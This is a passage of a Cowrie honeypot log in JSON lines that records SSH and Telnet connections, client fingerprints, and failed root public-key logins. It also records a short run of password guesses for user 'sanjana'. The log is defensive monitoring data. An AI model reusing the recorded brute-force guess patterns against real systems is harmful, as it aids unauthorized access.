{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:26:e9:c4:96:ec:a9:37:3a:16:59:8e:09:0f:7a:e8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILiB8uptbnR7icizAj/bY8tS4ewGpWX8JgbRNLruwTI6","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 0c:26:e9:c4:96:ec:a9:37:3a:16:59:8e:09:0f:7a:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:14.822675Z","src_ip":"186.190.215.90","session":"4a84b6173e0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:26:e9:c4:96:ec:a9:37:3a:16:59:8e:09:0f:7a:e8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILiB8uptbnR7icizAj/bY8tS4ewGpWX8JgbRNLruwTI6","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:14.826388Z","src_ip":"186.190.215.90","session":"4a84b6173e0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:cd:2f:c8:ee:af:9b:33:36:cf:43:ac:99:9e:97:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7rikiy4WoEOuxvIr1R+G9ac/4K8sF/mLkoog+/iK2X5O5UiudX40OZ5pXIvzifNONqnVp5q1Lf4HD/6M2ByJQ1IxUjUOATQD5NvL6qVUrQoeAajhHglga10u4dTQz1eneNsGkd5ZPix15xRAndoXtPGL6EfLeIKaHzWeH6WwPYm5d2AM169sOfTnujNbC6Kigwh0gnzdIsKkE+aEiUQ2UgGtHHZJR26E4w+E2S61dN5mQYvkTm1j/jxihKjrcVv6wbbui3PEvVtMkKWk/tLPlp8NILFQPFrtyJ89y6G1gx5xC8/G8gUmSRVsjizkWmG0UwWvFiKzes2H7zVLXY0VreAqS3Qs3ZM/Fbuzo3FTlfN5QKbOYsR4CQISzT3BQGVfYqspHf4ojRNLaHy53VGnGpyhYsEGAXJ07NDJ/AxQlULXUX4Yy2isLO+MOqm77dkq3lFfaLKm4k4/7fHXUQl9XT1dgYAuNQw5JJZDq2SUde0KyEPI9JM1oDEoBmTTFcXc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:cd:2f:c8:ee:af:9b:33:36:cf:43:ac:99:9e:97:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:14.930995Z","src_ip":"186.190.215.90","session":"4a84b6173e0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:cd:2f:c8:ee:af:9b:33:36:cf:43:ac:99:9e:97:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7rikiy4WoEOuxvIr1R+G9ac/4K8sF/mLkoog+/iK2X5O5UiudX40OZ5pXIvzifNONqnVp5q1Lf4HD/6M2ByJQ1IxUjUOATQD5NvL6qVUrQoeAajhHglga10u4dTQz1eneNsGkd5ZPix15xRAndoXtPGL6EfLeIKaHzWeH6WwPYm5d2AM169sOfTnujNbC6Kigwh0gnzdIsKkE+aEiUQ2UgGtHHZJR26E4w+E2S61dN5mQYvkTm1j/jxihKjrcVv6wbbui3PEvVtMkKWk/tLPlp8NILFQPFrtyJ89y6G1gx5xC8/G8gUmSRVsjizkWmG0UwWvFiKzes2H7zVLXY0VreAqS3Qs3ZM/Fbuzo3FTlfN5QKbOYsR4CQISzT3BQGVfYqspHf4ojRNLaHy53VGnGpyhYsEGAXJ07NDJ/AxQlULXUX4Yy2isLO+MOqm77dkq3lFfaLKm4k4/7fHXUQl9XT1dgYAuNQw5JJZDq2SUde0KyEPI9JM1oDEoBmTTFcXc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:14.935015Z","src_ip":"186.190.215.90","session":"4a84b6173e0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:46:b7:0e:55:6a:95:f7:86:6e:23:46:a6:1d:bb:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP7kZNlGKf2FbzQ5d/Cu7qIECNqJVKfjQU2IuMm/f7FxjhmazAPhZ0Yahun/vL1ra0yZ6vfiWxSEjbePiIkRXiih/09nRKofeMttE86t+Db21H0l7BpnTO5whOf25lfpNcsNmyuh+ZbvHeB3GWaNLPWvUP+q7i0uaSMK/L2kGdO5p3oMBYEYdZfQoaobSt00gkgC41mXhO/0QuicvGOSCmAjc2BTGcq37K/NSM5xs1PKuyKe4I+5A+LlAaN2tlmaihHZ8BH7UwJPoAWzN54zA3AiUI+hCp+m9xstvSlQS3i/eoJ05UDuqEQiEmnaEDbdxq6RpPJuDFyLCV4YhVPfgn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:46:b7:0e:55:6a:95:f7:86:6e:23:46:a6:1d:bb:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:15.042799Z","src_ip":"186.190.215.90","session":"4a84b6173e0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:46:b7:0e:55:6a:95:f7:86:6e:23:46:a6:1d:bb:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP7kZNlGKf2FbzQ5d/Cu7qIECNqJVKfjQU2IuMm/f7FxjhmazAPhZ0Yahun/vL1ra0yZ6vfiWxSEjbePiIkRXiih/09nRKofeMttE86t+Db21H0l7BpnTO5whOf25lfpNcsNmyuh+ZbvHeB3GWaNLPWvUP+q7i0uaSMK/L2kGdO5p3oMBYEYdZfQoaobSt00gkgC41mXhO/0QuicvGOSCmAjc2BTGcq37K/NSM5xs1PKuyKe4I+5A+LlAaN2tlmaihHZ8BH7UwJPoAWzN54zA3AiUI+hCp+m9xstvSlQS3i/eoJ05UDuqEQiEmnaEDbdxq6RpPJuDFyLCV4YhVPfgn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:15.046808Z","src_ip":"186.190.215.90","session":"4a84b6173e0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:14:78:d2:78:9a:b1:70:f1:1b:ad:44:d8:68:aa:47","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMp6cIW5IYT1ymqUS+plATjNN8rYO7qP0xXr/i8CFwss","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 69:14:78:d2:78:9a:b1:70:f1:1b:ad:44:d8:68:aa:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:15.152261Z","src_ip":"186.190.215.90","session":"4a84b6173e0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:14:78:d2:78:9a:b1:70:f1:1b:ad:44:d8:68:aa:47","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMp6cIW5IYT1ymqUS+plATjNN8rYO7qP0xXr/i8CFwss","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:15.155911Z","src_ip":"186.190.215.90","session":"4a84b6173e0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:1e:b2:ef:4c:56:f5:ae:b9:c2:ad:c0:cd:44:97:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYGRspi+GnlY7P9IDwQp0eNclPtdotytnDs/VLinCvC3AgoAHPybgCFc5zQUEF1Hh2unfbb/pKY9kknapCis3Ias/6P2IqShYLKUpWIpxGU8MDcLjvspNZM3yMEUvh0KjOeLyPldgIoSVJXE0nqEHg5aknv45G7mrIrBwAw8Y3mah0N9cYhFZoRscosXnJ3hkBxzxK4lIrC5Mdpuomf7K3ZUJWQj6I5PNUTI5j+bKTBg9K2+tUjZUE4Tqixdm29F7Y6nXWj7BWDUYU3m2lOtMgb4ZwxXgNzSRVIboDRkbC7XdOgovgKeOMddGEymYOlxeYLHaPfYqwXgqDIrNH/YAPJRCNYsAfdnF6i701Lo8ny/7V1I4kx6iBR+dq3PVD4F60Zj3mIp0IBMveXp5z/yc5US+o/IO0PhSiqX1VzdrTsegO9FRRSPD9iQ+jGrVDoEXltzZOMdS2pk9iz7yh1k6xqRQOEcWnvRn12ilBQD+pEVmJLPc5Jvw/wOF8vPsQvAcY000/yYZmTnkiY3UNhWXWN6Oa9z7gRS+DLUt9ra9Jv289kKRipZCg3rm6mF2lPl5ltOsMwJT6SnXm7a/a0vdSHosrBUBLNnbNhHJ1L03QLpwf+b2q73nIqqL0GyQXS7ax5eOqAqs9FJZPeL6QRuglmnasYkAwLC+2MMYyhtELZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:1e:b2:ef:4c:56:f5:ae:b9:c2:ad:c0:cd:44:97:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:15.260730Z","src_ip":"186.190.215.90","session":"4a84b6173e0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:1e:b2:ef:4c:56:f5:ae:b9:c2:ad:c0:cd:44:97:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYGRspi+GnlY7P9IDwQp0eNclPtdotytnDs/VLinCvC3AgoAHPybgCFc5zQUEF1Hh2unfbb/pKY9kknapCis3Ias/6P2IqShYLKUpWIpxGU8MDcLjvspNZM3yMEUvh0KjOeLyPldgIoSVJXE0nqEHg5aknv45G7mrIrBwAw8Y3mah0N9cYhFZoRscosXnJ3hkBxzxK4lIrC5Mdpuomf7K3ZUJWQj6I5PNUTI5j+bKTBg9K2+tUjZUE4Tqixdm29F7Y6nXWj7BWDUYU3m2lOtMgb4ZwxXgNzSRVIboDRkbC7XdOgovgKeOMddGEymYOlxeYLHaPfYqwXgqDIrNH/YAPJRCNYsAfdnF6i701Lo8ny/7V1I4kx6iBR+dq3PVD4F60Zj3mIp0IBMveXp5z/yc5US+o/IO0PhSiqX1VzdrTsegO9FRRSPD9iQ+jGrVDoEXltzZOMdS2pk9iz7yh1k6xqRQOEcWnvRn12ilBQD+pEVmJLPc5Jvw/wOF8vPsQvAcY000/yYZmTnkiY3UNhWXWN6Oa9z7gRS+DLUt9ra9Jv289kKRipZCg3rm6mF2lPl5ltOsMwJT6SnXm7a/a0vdSHosrBUBLNnbNhHJ1L03QLpwf+b2q73nIqqL0GyQXS7ax5eOqAqs9FJZPeL6QRuglmnasYkAwLC+2MMYyhtELZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:15.265141Z","src_ip":"186.190.215.90","session":"4a84b6173e0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:15.370225Z","src_ip":"186.190.215.90","session":"4a84b6173e0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.163.72.172","src_port":38636,"dst_ip":"159.203.135.109","dst_port":23,"session":"5da51d9a80e7","protocol":"telnet","message":"New connection: 5.163.72.172:38636 (159.203.135.109:23) [session: 5da51d9a80e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:18.776889Z"}
{"eventid":"cowrie.session.closed","duration":12.613062143325806,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:31.389803Z","src_ip":"5.163.72.172","session":"5da51d9a80e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.150.86.205","src_port":53646,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ec499ffc376","protocol":"telnet","message":"New connection: 47.150.86.205:53646 (159.203.135.109:23) [session: 9ec499ffc376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:07:42.858511Z"}
{"eventid":"cowrie.session.closed","duration":13.436325550079346,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:07:56.294738Z","src_ip":"47.150.86.205","session":"9ec499ffc376","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37370,"dst_ip":"10.17.0.5","dst_port":23,"session":"e256901ee72a","protocol":"telnet","message":"New connection: 180.235.129.180:37370 (10.17.0.5:23) [session: e256901ee72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:08:25.141904Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37378,"dst_ip":"10.17.0.5","dst_port":23,"session":"f86d8e77a2b7","protocol":"telnet","message":"New connection: 180.235.129.180:37378 (10.17.0.5:23) [session: f86d8e77a2b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:08:25.148040Z"}
{"eventid":"cowrie.session.closed","duration":8.255239963531494,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:08:33.403185Z","src_ip":"180.235.129.180","session":"f86d8e77a2b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":51705,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebdd3d72c1f2","protocol":"ssh","message":"New connection: 213.209.159.56:51705 (159.203.135.109:22) [session: ebdd3d72c1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:08:48.517428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:08:48.522134Z","src_ip":"213.209.159.56","session":"ebdd3d72c1f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:08:48.604174Z","src_ip":"213.209.159.56","session":"ebdd3d72c1f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sanjana","password":"sanjana","message":"login attempt [sanjana/sanjana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:08:49.003088Z","src_ip":"213.209.159.56","session":"ebdd3d72c1f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sanjana","password":"sanjana1","message":"login attempt [sanjana/sanjana1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:08:50.088894Z","src_ip":"213.209.159.56","session":"ebdd3d72c1f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sanjana","password":"sanjana123","message":"login attempt [sanjana/sanjana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:08:51.175412Z","src_ip":"213.209.159.56","session":"ebdd3d72c1f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sanjana","password":"sanjana1234","message":"login attempt [sanjana/sanjana1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:08:52.264785Z","src_ip":"213.209.159.56","session":"ebdd3d72c1f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sanjana","password":"sanjana12345","message":"login attempt [sanjana/sanjana12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:08:53.349576Z","src_ip":"213.209.159.56","session":"ebdd3d72c1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:08:54.434469Z","src_ip":"213.209.159.56","session":"ebdd3d72c1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.136322259902954,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:09:18.278100Z","src_ip":"180.235.129.180","session":"e256901ee72a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.148.104.74","src_port":48124,"dst_ip":"10.17.0.5","dst_port":23,"session":"28b5bc12af85","protocol":"telnet","message":"New connection: 169.148.104.74:48124 (10.17.0.5:23) [session: 28b5bc12af85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:09:26.904262Z"}
{"eventid":"cowrie.session.closed","duration":13.161427736282349,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:09:40.065580Z","src_ip":"169.148.104.74","session":"28b5bc12af85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.38.102","src_port":13258,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cec41008b6e","protocol":"ssh","message":"New connection: 62.210.38.102:13258 (10.17.0.5:22) [session: 3cec41008b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:12:25.639368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:12:25.644980Z","src_ip":"62.210.38.102","session":"3cec41008b6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:12:25.726865Z","src_ip":"62.210.38.102","session":"3cec41008b6e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:bc:f2:32:d5:73:0b:2e:86:77:18:70:53:f5:06:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiWl8H+Iek5GBreQNoGxxlkAM+ZH/gh5n2BU1k6Stcv3nQDgxY2IIe9+cyLOA7/cmaRNOtL/FVUEfTd4qC8iV/4qwGbyJSRj3Z+pS0YDnQCvLQzwwImk70wTNIIS2mzF6AUGX3GuIdaoe6H2E6oGGdkwDkD9QNz+M7dAyjPWTTuWRXWkzQB3LjELpKMVuABsls+qYnixcn63k9Zilh0ZEN9aiUXsdIyxZzzg2oxImPVlr+DNg0Lj0ZHJcFNatm62xbbD1Vzizc+jozKXslPfo/vcW/0tP9jvhvVz9f27ro8H8KiFQpFC4HqMfZih6tUuyAGhChjfNJhEXqBv7EaOXx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:bc:f2:32:d5:73:0b:2e:86:77:18:70:53:f5:06:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:12:26.114030Z","src_ip":"62.210.38.102","session":"3cec41008b6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:bc:f2:32:d5:73:0b:2e:86:77:18:70:53:f5:06:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiWl8H+Iek5GBreQNoGxxlkAM+ZH/gh5n2BU1k6Stcv3nQDgxY2IIe9+cyLOA7/cmaRNOtL/FVUEfTd4qC8iV/4qwGbyJSRj3Z+pS0YDnQCvLQzwwImk70wTNIIS2mzF6AUGX3GuIdaoe6H2E6oGGdkwDkD9QNz+M7dAyjPWTTuWRXWkzQB3LjELpKMVuABsls+qYnixcn63k9Zilh0ZEN9aiUXsdIyxZzzg2oxImPVlr+DNg0Lj0ZHJcFNatm62xbbD1Vzizc+jozKXslPfo/vcW/0tP9jvhvVz9f27ro8H8KiFQpFC4HqMfZih6tUuyAGhChjfNJhEXqBv7EaOXx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:12:26.117944Z","src_ip":"62.210.38.102","session":"3cec41008b6e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:fd:01:ac:d4:b4:8b:77:d6:99:a7:d3:b8:7c:f6:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCiNJ8De8ATrHZtfwV25rsR0tmj6t5q5vfVNLph7z7sNfXaoLLXOQ9T+13/CUX27qFIGQiP49atzyOAI6YWm5PL9PY4E8f4u+YwrlzzEt47QYCQXXnMEtLBgm7uOdj5BgB5A2c2FDf7vwnhACl3KV3T+UgvB3u0f1q08ctjKIV++N3DDRjVDgNJuMX7RyLSUrVItin1NHzEjELVtqvsHrRKbHRetMQTJiD73NKc+Bbd8Ws4R1MbT2963c1P4H73xS7OjHkkY/JXkOHQwJT/Yy6u90qBR2kv5dxWA8S8T2AijNiEzaZWk6VIiszXNEEMUUV6uCKZi7EaqJlIkntbXve96vpdgJbkx6XuiRWu5/1LyASnurmQQfZH2laBbSiptoJWF06znzX/kbdt5ggu8qwHi+fVVi98a1HLg0lawVMu86UzTUo/eVQ/hekckktWjPoJg+tdMi9Eppitk2OybA49AuL8gn1LuXSW5t9cSO3o9mp98QfZj1LCcysb84e5ikMr4nNuBel6s9uroXn8y1VI9Ukql+9/OpZzoaxT9SXKDL5BwtSMXl80nKmLJiJal3pq3RXx+odBN3mSygM9FEkfcTS1ISo9abnLWF0gqziQ5a0sV4Sjz60nvv6ew6+1uCIP5z3jPNOxRdI0hzM1g8MwZ5W68HP1BrXiiCKrNXPvNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:fd:01:ac:d4:b4:8b:77:d6:99:a7:d3:b8:7c:f6:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:12:26.204369Z","src_ip":"62.210.38.102","session":"3cec41008b6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:fd:01:ac:d4:b4:8b:77:d6:99:a7:d3:b8:7c:f6:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCiNJ8De8ATrHZtfwV25rsR0tmj6t5q5vfVNLph7z7sNfXaoLLXOQ9T+13/CUX27qFIGQiP49atzyOAI6YWm5PL9PY4E8f4u+YwrlzzEt47QYCQXXnMEtLBgm7uOdj5BgB5A2c2FDf7vwnhACl3KV3T+UgvB3u0f1q08ctjKIV++N3DDRjVDgNJuMX7RyLSUrVItin1NHzEjELVtqvsHrRKbHRetMQTJiD73NKc+Bbd8Ws4R1MbT2963c1P4H73xS7OjHkkY/JXkOHQwJT/Yy6u90qBR2kv5dxWA8S8T2AijNiEzaZWk6VIiszXNEEMUUV6uCKZi7EaqJlIkntbXve96vpdgJbkx6XuiRWu5/1LyASnurmQQfZH2laBbSiptoJWF06znzX/kbdt5ggu8qwHi+fVVi98a1HLg0lawVMu86UzTUo/eVQ/hekckktWjPoJg+tdMi9Eppitk2OybA49AuL8gn1LuXSW5t9cSO3o9mp98QfZj1LCcysb84e5ikMr4nNuBel6s9uroXn8y1VI9Ukql+9/OpZzoaxT9SXKDL5BwtSMXl80nKmLJiJal3pq3RXx+odBN3mSygM9FEkfcTS1ISo9abnLWF0gqziQ5a0sV4Sjz60nvv6ew6+1uCIP5z3jPNOxRdI0hzM1g8MwZ5W68HP1BrXiiCKrNXPvNQ==","type":"ssh-rsa","message":"public key login attempt for [root] 